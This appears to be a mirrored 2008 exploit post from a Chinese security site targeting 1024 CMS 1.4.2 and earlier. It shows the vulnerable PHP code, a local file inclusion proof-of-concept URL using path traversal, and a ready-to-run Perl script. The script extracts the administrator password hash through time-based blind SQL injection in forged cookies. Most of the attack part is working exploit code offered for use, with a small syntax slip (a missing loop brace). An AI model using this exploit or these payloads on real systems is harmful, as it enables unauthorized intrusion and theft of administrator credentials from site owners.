首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
1024 CMS <= 1.4.2 Local File Inclusion / Blind SQL Injection Exploit
来源:girex.altervista.org 作者:GiReX 发布时间:2008-04-14  
# Author: __GiReX__
# mySite: girex.altervista.org
# Date: 13/04/2008

# CMS: 1024 CMS <= 1.4.1 and 1.4.2 (beta)
# Site: 1024cms.com

# Bug1: Local File Inclusion
# Need: magic_quotes_gpc = Off / register_globals = On

# Bug2: Cookie Blind SQL Injection
# Exploit: Admin Hash Retrieve Exploit
# Need: magic_quotes_gpc = Off


# Bug1: Vuln Code: pages/print/default/ops/news.php
  
  <?php
     if(!isset($_GET['id']) || !is_numeric($_GET['id'])) die("ID Not Set");
     include("./lang/".$lang."/news/default.php");

# $lang is unset so we can exploit through local file inclusion


# Include a local file in CMS directory
# PoC: [host]/[path]/pages/print/default/ops/news.php?id=1&lang=../../../../../[local file]%00



# Bug2: Vuln Code: /includes/system.php: Lines 66-71

  if(!isset($_SESSION['logged']) && (isset($_COOKIE['cookuid']) && isset($_COOKIE['cookpass']) &&      
      isset($_COOKIE['cooktype']) && isset($_COOKIE['cooklogged']))){
$_SESSION['logged'] = $_COOKIE['cooklogged'];
$_SESSION['user'] = $_COOKIE['cookuid'];
$_SESSION['type'] = $_COOKIE['cooktype'];

$chk_comb = mysql_query("SELECT id, type, warning, banned FROM ".$prefix."users
        WHERE username='".$_SESSION['logged']."' AND password='".$_COOKIE['cookpass']."'")
        or die("Cannot check combination: ".mysql_error());

# We can exploit this vulnerable query editing our cookies and making a blind sql injection


###  Start Exploit  ###

#!/usr/bin/perl -w
# 1024 CMS <= 1.4.2 (beta) Remote Blind SQL Injection
# Admin Hash Retrieve Exploit

use LWP::UserAgent;
use HTTP::Request;

if(not defined $ARGV[0])
{
print "usage: perl $0 [host] [path]\n";
print "example: perl $0 localhost /1024/\n";
exit;
}

my $client =  new LWP::UserAgent;
my @cset   =  (48..57, 97..102);
my $hash   =  undef;

my $host  = ($ARGV[0] =~ /^http:\/\//) ?  $ARGV[0]:  'http://' . $ARGV[0];
   $host .=  $ARGV[1] unless not defined $ARGV[1];

banner();
check_vuln($host) or die "[-] Site not vulnerable: maybe magic_quotes_gpc = On\n\n";
syswrite(STDOUT, "[+] Admin Hash: ");

for($j = 1; $j <= 32; $j++)

    for($i = 0; $i <= $#cset; $i++)
    {
        $pre_time = time();

$rv = check_char($cset[$i], $j);
$post_time = time();

         if($post_time - $pre_time > 3 and $rv)
{
     $hash .= chr($cset[$i]);
             syswrite(STDOUT, chr($cset[$i]), 1);
     last;
}
    }
}

if(not defined $hash or length($hash) != 32)
{
     print STDOUT "\n[-] Exploit mistake: please check the benchmark and the sql query\n\n";
}
else
{
     print STDOUT "\n[+] Exploit terminated\n\n";
}


sub banner
{
   print "\n";
   print "[+] 1024 CMS <= 1.4.2 (beta) Remote Blind SQL Injection\n";
   print "[+] Admin Hash Retrieve Exploit\n";
   print "[+] Coded by __GiReX__\n";
   print "\n";
}

sub check_vuln
{
  my $target = shift;

     $get = new HTTP::Request(GET, $target);
     $get->header(Cookie => "cookpass=-1'; cookuid=0; cooktype=0; cooklogged=0; cookuser=0");

     $res = $client->request($get);
    
     if($res->is_success)
     {
         return 1 if $res->as_string =~ /Cannot check combination/;
     }
     else
     {
die "[-] Invalid target : ${target}\n\n";
     }

  return 0;
}

sub check_char
{
  my ($char, $n) = @_;
  
    $get->header(Cookie =>  'cookpass=-1\'+AND+'.
    'CASE+WHEN(SELECT ASCII(SUBSTRING(password,'.$n.',1))+'.
    'FROM+otatf_users+WHERE+id=1)='.$char.'+'.
                            'THEN+BENCHMARK(90000000,CHAR(0))+END#; '.
    'cookuid=1; cooktype=1; cooklogged=1; cookuser=1');

    $res = $client->request($get);

  return $res->is_success;
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Borland InterBase 2007 ibserve
·XM Easy Personal FTP Server 5.
·LightNEasy 1.2 (no database) R
·Mumbo Jumbo Media OP4 Remote B
·LiveCart <= 1.1.1 (category id
·HP OpenView NNM v7.5.1 ovalarm
·KnowledgeQuest 2.5 Arbitrary A
·KwsPHP (Upload) Remote Code Ex
·phpBB Add-on Fishing Cat Porta
·Biz E-Banking Integrator V2 Ac
·DivX Player <= 6.7.0 SRT File
·LokiCMS <= 0.3.3 Remote Comman
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved